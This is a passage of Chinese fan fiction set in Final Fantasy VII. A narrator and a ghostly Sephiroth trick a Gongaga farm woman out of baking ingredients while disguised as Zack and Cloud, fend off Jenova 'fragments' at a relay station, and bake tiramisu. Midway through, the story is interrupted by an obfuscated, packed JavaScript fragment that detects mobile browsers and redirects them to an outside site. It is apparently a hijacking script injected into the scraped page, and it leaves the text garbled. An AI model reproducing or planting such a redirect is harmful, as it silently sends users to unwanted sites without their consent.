我在他开口的间隙,猛地把剩下那一块压缩饼干塞进他嘴里。 萨菲罗斯搭在我肩膀上的手,那戴着黑色手套的指尖,因为这突如其来的“袭击”而微微收紧。 隔着作战服,力道不轻不重地捏了我的肩胛骨一下。 “唔——” 一声极轻的、被压抑的含糊声响从我耳后传来,带着饼干碎屑摩擦的沙沙声。 我毫不犹豫地笑了一声。 吉普车在沙漠中继续颠簸着,轮胎碾过凹凸不平的沙地,发出单调而有节奏的摩擦声。 夜风格外清冷,从敞开的车窗灌进来,吹得我兜帽边缘的几缕碎发胡乱地飞舞。 没过多久,萨菲罗斯的动作就恢复了平稳,他似乎并没有被这块突如其来的饼干噎到。 或者说,他以他特有的优雅(或者说是固执)的方式,解决了口腔里的异物。 “粗糙的口感。” 我得意洋洋地看着后视镜里他有点狼狈的脸,心情大好。 “粗糙的口感,是吗?啧啧。” “比起这个……我更倾向于认为,这是你某种独特的,表达‘亲近’的方式?” “哈?亲近?” 吉普车继续在无垠的沙漠中行驶。 前方的地平线上,似乎已经能看到贡加加那片独特的、被魔晄炉废墟所笼罩的暗绿色轮廓。 68.第63章 贡加加。 这是一个相当原始的村落,能够看到冒着白烟的烟囱,和圆顶的房屋,墙壁用粗糙的木头和泥土糊成。 不远处,有着魔晄炉的残骸。 吉普车在坑洼不平的沙土路上最后颠簸了几下,慢了下来。我将方向盘随意一打,车头粗暴地拐向路边一片相对平坦的空地,然后猛地踩下刹车。 轮胎在沙地上摩擦出刺耳的声响,扬起一阵呛人的尘土。 “到了,贡加加。” 我熄了火,拔下车钥匙,在指尖抛了抛,发出一连串清脆的金属碰撞声。打开车门,一股混合着潮湿泥土、腐烂植物以及若有若无的焦糊味的气息扑面而来。 萨菲罗斯那虚幻却又带着实质感的身影无声无息地出现在我身侧,他那银色的长发在夜风中微微拂动,冰冷的碧绿眼眸扫过眼前这片破败的景象,没有流露出任何情绪。 “嗯。” 我托腮,陷入思考。 怎么感觉这里不会有甜点材料? 银发男人感受到我的视线,他转过头。 “萨菲罗斯,我们可以礼貌地敲开某户人家的大门,然后‘友好’地询问他们是否有面粉、鸡蛋、糖,以及最重要的,有没有类似奶酪的东西。” 我边说边比划着,想象着那个画面。 “友好询问。” 萨菲罗斯重复了一遍,语气中听不出喜怒。 “附带你腰间那把名为‘物干竿’的凶器,以及我这副不请自来的模样,我想,当地居民会非常‘乐意’配合你的任何需求。” “……” “啧,”我不满地咂了咂嘴,脚尖无意识地踢着地上的小石子,“你说得也有道理。扛着‘物干竿’去敲门,确实不太符合我‘亲民’的未来盖亚皇帝形象。” 毕竟这里是普通民众的聚集地,又不是神罗—— 哦,还有扎克斯的亲人,估计之后会成为我以后手下的家属院(?)。 萨菲罗斯那虚幻的身影在我身边转了半圈,最终停在我面前,那双碧绿色的竖瞳微微垂下,带着不掩饰的笑意。 “哦?你还考虑形象问题?我以为你一向是‘实用至上’的原则。” “那当然!” 我理直气壮地挺了挺胸。 “实用是基础,形象是加分项!未来的皇帝,怎么能留下入室抢劫的污点呢?这叫战略性考量!” “那么,我的战略家小姐……“ “你有什么更高明的‘战略’,能让我们在这个看起来连像样的面粉都未必有的地方,凑齐制作那种名为‘提拉米苏’的甜点的材料?” “……” 我突然灵机一动。 --- 贡加加的清晨是带着些许露水的,当农场的第一个鸡鸣响起前,村民们纷纷早起忙碌。 玛丽是村内农庄的帮佣之一,当听到敲门声时,先是放下手中装着鸡蛋的提篮,接着打开门—— 映入眼帘的,是黑发男人俊朗又轻率的笑容,他半靠着门边,衣着着简单的战士制服,小臂上的肌肉显明,在她推开门的一瞬,他就不经意的将一只手卡在了门缝之中。 在他身侧的,是一位金发的青年,比旁边的人矮了一些,表情却是完全的冰冷,带着魔晄色泽的眸子漫不经心的落在她身上。 莫名的,让人有些发冷。 杰诺瓦,有变化形态,看破人心的力量。 “……” “你好啊!嗯。需要帮助吗?” “呃……” 女人有些紧张的绞了搅手,当她在思考之时,注意到了金发男人的视线—— 正好落在她的手掌上。 “你们……是战士?” 黑发男人顿了顿后,十分自然的拍了拍金发青年的肩膀,笑容自然。 “对。我是扎克斯,他的名字是克劳德……嘛,他比较内向。” 大概十分钟后,“扎克斯”和“克劳德”自然的走在贡加加的街头,黑发男人伸手摸了把他的脑袋,“克劳德”奇异的停顿了一下,抬眸看他。 扎克斯无所谓的撇了撇嘴。 明明是阳光俊朗的面容,莫名的带上了一股无赖的痞气。 “萨……咳,克劳德。” “你看我干什么?你说怎么找陆行鸟幼崽吧。我今天之内就想吃到提拉米苏!” 他们两个刚从农庄里接到了【寻找失踪的鸡】的任务。 “还有,克劳德,你别老是板着一张脸嘛。” “扎克斯”一本正经的教训道。 “你看,都快把路边的小陆行鸟给吓哭了。学学我,多笑笑,这样才能跟村民们打成一片,人家才会心甘情愿地把‘失踪的鸡’的线索告诉我们,顺便再‘送’我们一点鸡蛋面粉什么的,你懂吧?” “克劳德”只是微微偏过头,那双被魔晄浸染的浅青色眸子平静地注视着她。 “哎呀,你这家伙,真是的。” 扎克斯夸张地叹了口气,伸手就想去捏克劳德的脸颊,想把他那张没什么表情的脸捏出个笑脸来。 “学学我。你这样,那些大婶大妈怎么会喜欢你,不给你塞好吃的?” 克劳德的面孔微微一偏,躲开了他的手。 对方依旧不发一言,只是那眼神…… “行行行,不逗你了。” 他悻悻地收回手,嘟囔了一句。 “真没劲,一点都不像克劳德那只陆行鸟一样好玩。” “……” 他闻言,突然伸出手捏住了对方的腕。 “……扎克斯。” 黑发男人顿了顿,最终,他伸出手扯了扯那头陆行鸟一样的头发。 “好了,你最有趣,好了吧?” “……” 克劳德微微垂眸,没说话。 平日里或许会显得极其威胁性的神情在这场脸上显得有几分柔和,甚至染上了些许忧郁。 扎克斯…… 扎克斯在憋笑。 “咳,克劳德啊,你说那些鸡崽子,会不会被什么野兽叼走了?” 他边走边自言自语,声音里带着刻意的担忧。 “要是那样的话,我们的鸡蛋面粉可就泡汤了。那可不行,我答应了玛丽大婶一定能找回来的。” 他偷偷瞥了一眼身边的克劳德,顿时,那张脸又再次鼓了起来。 不行,太好笑了。 他伸出手,又想去扯那几根标志性的、不屈不挠向上支棱着的金色短发。 “我说克劳德啊,”扎克斯清了清嗓子,努力让自己的声音听起来更像那个总是活力四射的黑发男人,语重心长地说道,“你看你,老是这么冷冰冰的,哪个女孩子会喜欢你啊?学学我,阳光一点,热情一点!这样才能交到女朋友,知道吗?” 他一边说着,一边用空着的手拍了拍自己的胸脯,做出一副“看我多受欢迎”的得意模样。 克劳德的嘴唇动了动,似乎想说什么,但最终只是发出了一声几不可闻的、类似叹息的气音。 “扎克斯。” 金发青年终于开口,他的声音比平时略低沉一些,少了几分属于萨菲罗斯的华丽和悠扬,多了一丝刻意模仿的沙哑和简短,这是他理解中“克劳德”该有的声线。 “找鸡。任务。” 他简明扼要地提醒,视线在那张憋笑憋得有些扭曲的“扎克斯”脸上停留了一瞬,然后又迅速移开,落向了不远处一丛茂密的灌木。 那里面,传来几声微弱的“啾啾”声。 “哎呀,知道啦知道啦,找鸡找鸡。不过,你觉得在哪呢?我俩可一点都不懂陆行鸟。” 克劳德没有再说话,只是迈开脚步,径直朝着那片灌木丛走去,他们相连的手没有松开,扎克斯哎呀哎呀的被扯了过去。 就在他们靠近灌木丛的时候,一阵细微的“叽叽喳喳”声从里面传了出来。 “哇!克劳德!你真是太神了!” 扎克斯惊喜地叫出声,一下子松开“克劳德”的手,三两步就冲到灌木丛边,拨开层层叠叠的枝叶。 果然,几只毛茸茸、黄澄澄的小鸡崽正挤在一起,瑟瑟发抖地看着这两个不速之客。 “哈哈!找到了!我就说嘛,跟着你准没错!” 扎克斯转过头,冲着克劳德挤了挤眼睛。 “看来我的首席情报员非你莫属了!以后找东西这种小事,就全权交给你负责了!” 他半蹲下身,将那一只只小鸡幼崽抓起,那些小东西就像是看到了什么可怕的东西似的,发出一连串惊恐的尖叫。 “……” 扎克斯陷入了沉思。 他捏起一只,与其对视,那茸茸的小东西在他掌心瑟瑟发抖,乌溜溜的眼睛惊恐又无助地望着他,可怜兮兮的,不过却是不叫了。 “克劳德。” 他用手肘碰了碰身边的金发青年。 “你说这小东西,怎么吓成这样?难道是被我们英伟不凡的气势震慑住了?” 萨菲罗斯,或者说此刻的“克劳德”,微微侧过头,那双被魔晄浸染的浅青色眸子平静无波地扫了她一眼,然后又转向她手中那只快要晕厥过去的小鸡。 “也许。” 他用一种刻意压低、模仿克劳德那种疏离感的语调回答,声音听起来有些僵硬,像是刚从冰柜里拿出来的年糕。 真别扭。 扎克斯强忍着笑意,把一只小鸡递给了一旁的克劳德。 那团毛茸茸的小鸡一瞬停止了发抖,接着,直接晕过去了。 “……” “……噗。” 克劳德面无表情的接过那只软趴趴瘫倒的黄色小毛球。 扎克斯又丢了一只过去。 金发青年伸出手接过,当小鸡落入他手里之时,瞬间失去了意识。 “噗——哈哈哈!” 扎克斯终于忍不住爆发出大笑,他弯下腰,一手捂着肚子,另一只手指着萨菲罗斯手里那几只已经翻白眼的小鸡。 “萨菲罗斯,你的王霸之气真是……” 他的话还没说完,克劳德就弯下腰,一只只的把鸡仔都抓进怀里。 它们很安详的发出惨叫后晕倒。 金发青年绷着脸,抬头看几乎要笑岔气的扎克斯。 “走了。” 克劳德率先迈开步子,抱着一堆晕厥的小鸡,朝着来时的方向走去。 他的步伐依旧稳健,只是姿态略显僵硬,怀里的小鸡倒的七倒八歪。 “哎,等等我啊,克劳德!” 很快,他们就回到了玛丽大婶的农庄。 玛丽大婶正焦急地在门口张望着,一看到他们回来,立刻迎了上来。 “啊!扎克斯!克劳德!你们回来啦!” 玛丽大婶看到他们,脸上露出了喜悦的表情。 然后她看到了克劳德怀里那一堆“了无生气”的小鸡。 “……” “这,这些小鸡它们这是怎么了?” 玛丽大婶的声音里充满了困惑,她小心翼翼地伸出手,轻轻拨弄了一下克劳德怀中最上面那只小鸡软绵绵的翅膀,那小东西毫无反应,依旧保持着一个扭曲的“安详”姿势。 “它们,它们看起来,呃,不太对劲啊。是不是生病了?还是被什么东西吓坏了?” 她急切地追问,目光在两个年轻人脸上来回打转。 扎克斯连忙摆出一副轻松的笑容,走上前,轻轻拍了拍玛丽大婶的胳膊,试图安抚她。 “玛丽大婶,您别担心,别担心!”他清了清嗓子,“这些小家伙啊,它们就是,嗯,玩累了,睡着了!对,就是睡得比较沉而已!” 男人冲着玛丽大婶眨了眨眼睛,一副“你懂的”表情。 “你看,我们找它们可费了不少劲呢,小家伙们体力不支,也很正常嘛!” 克劳德抱着那一堆“尸体”,面无表情地站在一旁,如同一个没有感情的运鸡机器。 他微微抬了抬下巴,用他那模仿出来的、尽量显得冷淡而简短的克劳德式语气补充道: “嗯,睡了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603329|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那声音干巴巴的,没有丝毫起伏。 玛丽大婶将信将疑地又瞅了瞅那些小鸡,它们那副“死不瞑目”的样子实在不像是在“睡觉”。 但看着眼前这个笑容灿烂的黑发年轻人,和旁边那个虽然冷冰冰但看起来很可靠的金发青年,她又不好意思直接反驳。 “哦,哦,这样啊。” 玛丽大婶勉强挤出一个笑容,但担忧的神色并未完全褪去。 “那,那真是太谢谢你们了!你们可是帮了我大忙了!这些小鸡崽子对我来说可重要了。” 她说着,眼神里流露出真挚的感激,“你们先进来歇歇脚吧,我给你们倒点水喝。” 扎克斯顺势就往屋里走,一边走一边状似不经意地开口:“玛丽大婶,您太客气啦!举手之劳而已嘛!” 他环顾了一下玛丽大婶家简朴但干净的屋子,空气中飘散着淡淡的柴火味和食物的香气。 “对了,大婶,我们刚才在村口闻到好香的味道,是您家里在做什么好吃的吗?” 玛丽大婶热情地招呼他们坐下,给他们倒了两杯自家晾的凉茶。听到他的问话,她笑着摇了摇头:“哎呀,没什么好吃的,就是些普通的烤面包和野菜汤。我们这穷乡僻壤的,可没什么稀罕玩意儿。” “不过啊,今天早上我刚从邻居家换了些新鲜的鸡蛋,还磨了点面粉,本来打算做点小饼干给我家那几个小崽子解馋呢。” “鸡蛋!面粉!” 扎克斯眼睛一亮,立刻抓住了关键词。 “玛丽大婶,不瞒您说,我和克劳德啊,最近刚学了一个超级厉害的甜点做法!” “需要用到鸡蛋、面粉,还有一种白白的、软软的,像豆腐一样又比豆腐细腻的东西,哦对了,还需要糖!” 他比划着,口水都快流出来了。 “那做出来的甜点啊,简直是人间美味!入口即化,香甜可口!” 他继续吹嘘着,余光瞥了一眼身旁的克劳德。 克劳德接收到他的信号,极轻微地皱了皱眉,似乎在努力消化这种突如其来的表演任务。 思考了几秒,他干巴巴地吐出两个字:“好吃。” 然后补充道:“很甜。” 玛丽大婶被他们这一唱一和逗得乐不可支,脸上的皱纹都笑开了花。“哎哟,你们这两个孩子,可真会说话!”她拍了拍扎克斯的手背,“鸡蛋和面粉,我这里倒是有些。糖的话,村东头的老约翰家应该有,他家自己熬糖卖。至于你说的那个白白的、软软的东西……” 玛丽大婶托着下巴思索起来。 “听起来有点像我们这里偶尔会做的一种用陆行鸟奶发酵出来的‘雪凝乳’,不过那个味道有点酸,不知道是不是你们要找的。” “雪凝乳!” 扎克斯眼神更加明亮,他感觉自己离提拉米苏又近了一步。 “玛丽大婶,那您有那个雪凝乳吗?或者知道哪里能弄到?” --- 一个小时后。 扎克斯和克劳德拿着一篮子的食材——面粉,鸡蛋,糖,以及雪凝乳,来到了吉普车附近。 一阵荧光闪烁,我们恢复了原样。 我依然憋不住笑。 一边笑着,我启动了引擎,萨菲罗斯坐在副驾驶的位置,他不动声色地将那篮子含着“正当报酬”和“不正当报酬”的东西摆在后座。 “根据你之前的行进路线,向北大约半日车程,应该能找到一个废弃的神罗中继站。” 吉普车的引擎发出一阵低沉的轰鸣,在我脚下轻微震动。我握着方向盘,忍不住又笑出声来,肩膀一耸一耸的,车子都跟着我轻微晃动。 突然想到了什么。 我伸出手,莹绿色的光点自手上凝聚,接着,凑近。 萨菲罗斯顿了顿。 某个款式看起来高端的墨镜被我戴到了他的脸上。 我抖了抖一瞬同时凝聚在我脸上的墨镜,踩下油门。 “走,出发!” 引擎发动,在乡村的平地上,吉普车爆发出了超越沙地里的速度。 萨菲罗斯的银发飘扬,随风自然而起,正午的阳光落下,在银色的发丝上跳跃着细碎的光点。 男人仿若此时才回过了神,他稍稍偏头,随后才伸出手。 稍稍摩挲着墨镜的镜框。 --- 下午,接近夜晚。 克劳德和扎克斯一行人来到了贡加加。 从金蝶园长赠送的改装车跳下,扎克斯伸了个懒腰。 “啊——贡加加!我回来了!”他放声大喊,脸上是毫不掩饰的灿烂笑容,“真是久违了啊!这里的一草一木都还是老样子!” 克劳德紧随其后下了车,一言不发。 “扎克斯,这里,就是你以前住的地方吗?” 蒂法走到扎克斯身边,轻声问道。 “是啊!没错!” 扎克斯转过身,热情地向蒂法介绍。 “看到那边那个最高的烟囱没有?那是我小时候经常爬上去掏鸟窝的地方!还有那边那条小河,夏天的时候,我和村里的小伙伴们最喜欢去那里摸鱼了!” 他指着村子的各个方向,兴奋地讲述着过去的点点滴滴,仿佛又回到了那个无忧无虑的少年时代。 爱丽丝也微笑着走了过来,她轻轻闭上眼睛,感受着吹过村庄的风。“这里的风,带着很温柔的气息呢。”她柔声说道,“能感觉到,这里的人们,都过着很平静的生活。” 小队刚进村子的门口,扎克斯就见到了自己的父母,那里有不少的村民。 他瞪大了眼睛,正准备跑过去问好。 一个小女孩好像认出了克劳德。 “就是这个陆行鸟头的男人!还有那个黑发的……偷了我们家便利店的白糖!” “……” “……哎?!” “扎克斯!你老实说!这到底是怎么回事!你小子,不会真的在外面学坏了吧!” “爸!妈!不是的!你们听我解释啊!” 69.第64章 颠簸的吉普车,我一边踩油门,一边选电台的音乐。 “滋啦——萨克斯风独奏,忧郁蓝调——太慢了,PASS!” 我皱着眉头,一指头按下去,切掉了一个听起来能让人直接睡着的频道。 萨菲罗斯坐在副驾驶,戴着我强行给他戴上的墨镜,那副墨镜的款式跟他那张祸国殃民的脸形成了诡异的对比,让他看起来少了几分平日里的邪魅与攻击性,多了几分…… 嗯,我个人认为更帅了。 他没什么特别的反应,只是微微偏着头,似乎在“欣赏”窗外飞速倒退的森林景色。 “又来?滋啦——‘爱在沙漠边缘,心似烈火蔓延’——这是什么上世纪的土歌?!” 我重重地叹了口气,继续切歌。 “滋啦——电吉他SOLO,狂野的鼓点——这个还行。” 一段充满了力量感的重金属摇滚前奏从劣质的扬声器里炸了出来,吉普车厢仿佛都跟着震动起来。 我满意地点点头,跟着节奏晃了晃脑袋。 墨镜随着我摇头的动作在鼻梁上颠簸,几乎要飞出去。 狂暴的音乐声中,萨菲罗斯的银色长发有几缕被从车窗缝隙灌进来的风吹得扬起,贴在了墨镜的镜腿边。 他安静的一动不动。 “还是这样舒服——” 我打着方向盘,在墨镜即将滑落之时,一旁好似雕塑的男人忽地伸出手,替我将镜框戳了回去。 萨菲罗斯收回了手。 我眨了眨眼。 他刚才的动作很轻,几乎没有碰到我的皮肤,但那份冰凉的触感,却清晰地传递过来。 “嗯哼?” 我挑了挑眉,加重了语气,偏过头去看他。 墨镜下滑了一点,我正好能从镜片上方看到他被墨镜遮挡了大半的脸。 “萨菲罗斯,喜欢我给你的墨镜吗?” 萨菲罗斯终于有了点反应。 他微微侧过头,修长的手指轻轻抚过墨镜的边缘,那动作优雅得仿佛在抚摸一件稀世珍宝,而不是我随手变出的塑料制品。 “我是否‘喜欢’它,重要吗?” 我语气严肃。 “当然重要!说明我的品味好。” “是吗……” 他轻轻呢喃着。 我几乎以为他不会回答了,或者会用他那套“凡人的审美与我无关”的说辞来敷衍我。 “喜欢。” 我忍不住咧嘴一笑,得意极了。 “哈!我就说嘛!” 我猛地一拍方向盘,吉普车跟着抖了一下,电台里狂野的吉他riff差点变调。 “我的品味,那绝对是宇宙第一!” 萨菲罗斯那戴着墨镜的脸孔在光影交错中显得有些模糊,但他微微上扬的唇角却清晰可见。 远方的中继站越来越近,不过我没有看到什么士兵。 只有几个……呃,黑袍人? 居然和我们的衣服是一个款式。 我甚至以为我看花了眼,伸出一只手抬起墨镜—— 萨菲罗斯的声音。 “是团聚(reunion)效应的碎片。” 他的语气甚至带着轻蔑。 吉普车在距离中继站还有一段距离的地方停了下来,轮胎碾过沙地,带起一片细小的尘埃。 他们的确穿着和我身上这件同款的黑袍,兜帽拉得很低,几乎完全遮住了面容。动作有些僵硬,或者说,是那种缺乏明确目的性的迟缓。 就像几只被无形丝线牵引的木偶,在中继站周围无意识地徘徊。 “团聚效应的碎片?” 我挑了挑眉毛,手指在方向盘上轻轻敲击着,一边把电台关掉。 既然没有开车,那就暂时去掉bgm。 “他们是杰诺瓦意志的微弱回响,被你我吸引而来,如同飞蛾扑向火焰。” “没有自我,没有思想,只剩下盲从的本能。” 他伸出戴着黑色手套的手指,轻轻点了一下挡风玻璃,指向其中一个正试图穿过一道倒塌铁门的黑袍人。 那个黑袍人动作笨拙,几次都被卡住,却依旧执着地重复着同样的动作。 我观察了一会,正准备下车,就被什么抓住了手。 是一个不知何时来到车门处的黑袍人,能从兜帽的间隙瞥见对方银白的发丝。 那只手,冰冷得像是刚从魔晄中捞出来一样,手指细长,但力道却出奇地大,紧紧箍住了我的手腕。皮肤是那种不健康的苍白,指甲边缘泛着淡淡的青紫色。 他断断续续的呢喃着我的名字。 声音沙哑得像是砂纸摩擦着木头,每一个字都含混不清,断断续续,带着一种诡异的执着和……渴望? 我啧了一声,有点不爽。 “喂,我说你啊。”我用另一只空着的手不耐烦地挥了挥,试图赶走这个突然冒出来的家伙,“放开。我要去吃你老大给我做的甜品了。” 那黑袍人却像是没听见一样,反而抓得更紧了。 “看来,‘碎片’的执念,比我想象的要稍微强烈一些。” 萨菲罗斯的声音从副驾驶传来,依旧是那种优雅而平稳的语调,但戴着墨镜的脸孔转向了我这边。 透过那深色的镜片,我感觉他的目光正落在那个黑袍人的手上。 “不过,本质上,依旧是无意义的聚合体。连自己的形态都无法维持稳定,只能拙劣地模仿着曾经的容器。” “真是……碍眼。” 他说话的时候,我注意到那个抓着我的黑袍人身体轻微地颤抖了一下,似乎感受到了某种无形的压力。 那含混不清的呢喃也停顿了一瞬。 “萨菲罗斯大人……尼布尔海姆……” “团聚(reunion)……” 不是,叫萨菲罗斯就叫萨菲罗斯,怎么抓着我呢? 我正想着要不要直接把这个疑似萨菲罗斯碎片的家伙直接弄死,就有什么东西扑腾一下扒在了吉普车的前盖上。 又是一个黑袍人,他拼命的伸出手,似乎是想触碰我。 “……” 于此同时,好几个黑袍人好似被萤火吸引的飞虫,一步一步的往我们的方向走来。 “萨菲罗斯,他们怎么回事?一个个跟怨灵似的。” 我扯了扯手,一旁的黑袍人还在呢喃我的名字,准备拔刀时,另一个靠近的黑袍人猛地将其甩开。 而那个新来的“胜利者”,则更加迫切地向我伸出手,他的手指因为用力而微微颤抖。 “我的……我的……” 他发出的声音比前一个还要沙哑破碎,根本听不清具体在说什么,但那种想要抓住什么的急切感却扑面而来。 但快要触及之时—— 只是轻轻的捏住了我的袖口,动作轻的仿佛是在触碰什么脆弱的琉璃。 怪了,为什么这个“萨菲罗斯碎片”和刚刚的那个不一样? 我起了一些好奇的心思—— 面前的他倏地发出一声短促而绝望的哀鸣,手指无力地松开,整个身体如同被抽去了骨头一般软倒在地,化作一滩不断蠕动的黑色胶状物,然后迅速地消散在干燥的空气中,没有留下任何痕迹。 扒在车前盖上的那个,也步上了同样的后尘,他那伸向我的手在半空中凝固,然后像融化的蜡烛一样滴落、消失。 转眼之间,吉普车周围那些形态各异的黑袍人,都以同样的方式土崩瓦解,只在地面上留下一些深色的、很快就被风沙掩盖的印记。 中继站前,再次恢复了死一般的寂静,只剩下风吹过废弃建筑时发出的呜咽声。 我转过头。 萨菲罗斯放下手,姿态依旧从容,但是从他的嘴角就可以看出他心情又不好了。 我管他。 “不是,我刚打算研究呢?你动手干嘛?” “它们,”他终于开口,声音比平时低沉了几分,带着一种冰冷的质感,“不过是些不成形的渣滓,连‘回响’都称不上的杂音。” “它们不该用那种眼神看你。”萨菲罗斯继续说道,语气平淡,却透着不容置喙的意味,“更不该试图触碰你。” “啧。” 这种论调我早就听腻了。 墨镜化作莹绿色的光点,然后消失。 我推开车门,提着后座的篮子,就往中继站里走。 一脚踹开入口的铁门,映入眼帘的是空无一人的走廊,还有那个—— 嗯,被我故意丢下的萨菲罗斯。 他已经好整以暇的站在里面了。 这里的中继站还是非常不错,从走廊的整洁程度就可以看出,不久前还在运作。嗯……不知道萨菲罗斯碎片们是怎么攻打下这个地方的。 “这里看起来还挺干净的嘛,一点都不像被那群黑袍鼻涕虫占领过的样子。他们是来这里度假的吗?” 萨菲罗斯没有立刻回答,我能感觉到他的目光落在我晃来晃去的篮子上。 “它们只是无意识的游荡。对于‘占领’这种具有目的性的行为,它们尚不具备那样的智能。” 他的声音从我身后传来,平稳而冷淡,如同在陈述一个教科书上的定义。 “没有智能,那他们刚才抓着我不放,还叽里咕噜地叫我和你的名字,是在进行什么深奥的哲学交流吗?” 我嗤笑一声,在一扇看起来像是厨房的门前停下脚步,伸手推了推,门纹丝不动。 “那只是最原始的本能驱使。它们感知到了‘母亲’的碎片,以及…与‘母亲’紧密相连的气息。” 萨菲罗斯走到我身边,很自然地抬手,覆盖在我推门的手上。 他的手掌冰凉,带着手套的皮革质感清晰地传递过来。 随着他手腕的轻微转动,那扇原本纹丝不动的金属门发出一声轻微的机括声,向内打开了。 一股略带霉味的、混合着金属锈蚀气味的空气从门缝里涌了出来。 “所以说,我刚才被一群没有智能的鼻涕虫当成杰诺瓦牌猫薄荷了?” 我一边说着,一边率先走进厨房。 这间厨房比我想象的要大,也更…齐全。 不锈钢的操作台擦拭得还算干净,上面摆放着一些看起来很久没用过的厨具。 几个储物柜虚掩着,隐约能看到里面摆放着罐头和一些真空包装的食品。最重要的是,角落里有一个看起来还能运作的魔晄动力炉,连接着一个颇为专业的烤箱和几个灶台。 “看样子,这里的神罗员工伙食还不错。”我将篮子往操作台上一放,发出“哐当”一声。 萨菲罗斯跟了进来,他那双戴着墨镜的碧绿眼眸扫视了一圈这个厨房,然后落在我身上。 准确地说是落在我那只刚才被“碎片”抓过的手腕上。 “你不该对那些污秽的东西产生任何兴趣。”他的声音依旧听不出什么情绪,但空气中的温度似乎降低了几分,“它们的存在本身,就是一种亵渎。” “嗯嗯嗯好,不看别的。” 我随口敷衍,满脑子都跑到马上可以吃到的提拉米苏上了。 “哼……” 是我的错觉吗?还是萨菲罗斯哼了一声。 正当我陷入萨菲罗斯是否被某日式轻小说别扭傲娇女二夺舍的思绪之中时,他开始动了。 萨菲罗斯走到操作台边,拿起那罐玛丽大婶给的“雪凝乳”,修长的手指轻轻敲了敲罐身,发出清脆的声响。 “这种粗陋的替代品,勉强可用。” 他评价道,然后又拿起那袋面粉,用指尖捻起一点,在灯光下审视着。 “至于这个…杂质太多了。” “喂喂喂,这可是我辛辛苦苦,牺牲了‘扎克斯’和‘克劳德’的形象才换来的!”我不满地抗议,“有的用就不错了,你还挑三拣四!” “为你制作食物,自然要用最好的材料。”萨菲罗斯放下手里的面粉,转向我,“任何可能影响最终口感的瑕疵,都不能容忍。” 他顿了顿,戴着墨镜的脸转向我:“所以,在你改变主意,决定用那些‘战利品’来满足基本的口腹之欲之前……” “告诉我,你对甜度的偏好,咖啡的浓度,以及…是否需要加入利口酒来提升风味?” 他的问题一个接一个,专业得像个五星级酒店的甜点主厨,而不是那个刚刚还在嫌弃材料粗陋的家伙。 “甜度嘛,当然是要甜到掉牙的那种!” 我毫不犹豫地回答,眼睛亮晶晶的。 “咖啡要浓的,能苦得让人精神一振的那种!至于酒…可以来一点点,让味道更丰富一点就好,别太冲。” 萨菲罗斯点了点头,似乎将我荒谬的要求一一记下。 “那么,在我开始之前……” 他伸出手,将墨镜摘下,妥帖的放在桌面上。 “你打算如何‘观赏’我的表演?或者,你有什么更具‘建设性’的建议,比如…在我处理马斯卡彭,哦不,是‘雪凝乳’的时候,帮我打发一下淡,嗯,这里似乎没有那种东西。” 他微微蹙眉,似乎对食材的匮乏有些不满。 “我可以帮你尝味道啊!” 我自告奋勇。 “这是最重要的环节,对不对?确保每一步都符合我这个未来盖亚皇帝的至高口味标准!” 萨菲罗斯看着我,笑意自那对眸子里浮现出,但很快又恢复了平静。 “你的‘品尝’,恐怕会演变成‘偷吃’。” 他一针见血地指出。 “胡说!我这是在进行严格的质量把控!” 我义正言辞地反驳。 他没有再与我争辩,只是转身开始有条不紊地处理起那些“粗陋”的食材。 修长的手指握着那枚圆润的鸡蛋,手腕只是轻轻一磕,清脆的破裂声后,蛋壳便精准地分成了两半,金黄的蛋黄与清澈的蛋清完美地滑入玻璃碗中,没有一丝一毫的蛋壳碎屑。 他连续处理了好几个鸡蛋,动作如行云流水,碗中很快就积累了一汪金黄。 “喂,萨菲罗斯。” 我伸长了脖子,好奇地看着他碗里的蛋液。 “你打鸡蛋的技术这么好?之前我也没见你偷偷练过啊。” 萨菲罗斯拿起那罐“雪凝乳”,用一把小巧的金属勺舀出一勺,那雪白的、微微带着酸气的乳状物在勺子上微微颤动。 他没有立刻将其倒入碗中,而是凑近鼻尖,极轻地嗅了嗅。 “技巧而已。” 萨菲罗斯将乳状物放入碗里,接着,拿起一个打蛋器,开始以一种稳定而富有节奏的韵律搅打蛋液。 “不过是身体对指令的精准执行。与熟练度无关,只关乎控制力。” 蛋液在他的搅打下,颜色逐渐变浅,体积也慢慢膨胀起来。金属打蛋器与玻璃碗壁碰撞,发出细密而清脆的声响。 我看得有些眼馋,尤其是当空气中开始弥漫起淡淡的蛋香味时。 “那个,萨菲罗斯,”我搓了搓手,脸上露出讨好的笑容,“你看啊,你这个蛋液打得这么漂亮,颜色金黄金黄的,肯定特别香甜。要不,我帮你尝尝味道?确保它符合制作顶级提拉米苏的标准?” 我说着,就想从凳子上溜下来,凑过去“品尝”一下。 萨菲罗斯搅打的动作没有丝毫停顿,他的目光依旧专注地落在碗中的蛋液上。 “你的‘标准’,通常是以‘全部吃完’为最终判定依据的。” “我哪有!” 我立刻反驳,但底气明显不足。 “我只是想帮你分担一下工作压力!” 他终于停下了搅打的动作,将打蛋器放在一旁。 原本金黄的蛋液此刻已经变得蓬松而轻盈,呈现出一种漂亮的乳黄色。他端起碗,在我面前晃了晃,那淡淡的甜香气更加浓郁了。 “你打算如何进行你的‘严格品控’?是用手指蘸一点,还是…直接把脸埋进去?” “咳咳!” 我被他噎了一下,正准备继续胡搅蛮缠。 萨菲罗斯摘下了手套。 骨节分明、苍白却完美得如同艺术品。 这双手,曾经染过无数鲜血,曾经挥舞着正宗斩断一切阻碍,现在,却和面粉、鸡蛋这种柔软无害的东西打交道。 他蘸了一点粘稠的液体,抵到我的唇边。 “……” 谁要吃他手上的了? 不过真的挺香。 我飞快地瞪了他一眼,猛地凑上前,舌尖一卷,将他指尖上那点蛋液舔了干净。 唔! 香甜、丝滑、带着浓郁蛋香和一丝雪凝乳特有的微酸,那味道瞬间在我的口腔中炸开,比我想象中还要美味。蛋液蓬松轻盈,几乎入口即化,只留下满口的馥郁芬芳。 “怎么样?” 萨菲罗斯的声音在我耳边响起,他的手指并没有立刻移开,而是用指腹轻轻地、带着某种暗示意 